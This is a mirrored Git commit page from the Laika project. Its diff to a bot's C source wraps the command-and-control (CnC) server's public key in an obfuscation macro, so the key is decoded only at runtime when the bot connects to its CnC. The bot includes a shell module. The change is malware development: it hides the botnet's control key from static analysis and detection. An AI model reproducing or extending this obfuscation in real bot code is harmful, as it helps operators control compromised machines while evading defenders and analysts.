1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-29 21:20:11 +00:00

Bot: Obfuscated CNC public key

This commit is contained in:
2022-05-27 17:51:10 -05:00
parent 0fdca35f87
commit fed78402a2
2 changed files with 5 additions and 1 deletions

View File

@@ -1,6 +1,7 @@
#include "lmem.h"
#include "lsodium.h"
#include "lerror.h"
#include "lbox.h"
#include "bot.h"
#include "shell.h"
@@ -53,6 +54,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
/* ==================================================[[ Bot ]]=================================================== */
struct sLaika_bot *laikaB_newBot(void) {
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
struct hostent *host;
char *tempINBuf;
@@ -90,7 +92,7 @@ struct sLaika_bot *laikaB_newBot(void) {
}
/* read cnc's public key into peerPub */
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, cncPubKey, NULL)) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to init cnc public key!\n");
}
@@ -113,6 +115,7 @@ struct sLaika_bot *laikaB_newBot(void) {
/* copy inet address info */
strcpy(bot->peer->inet, tempINBuf);
LAIKA_BOX_SKID_END(cncPubKey);
return bot;
}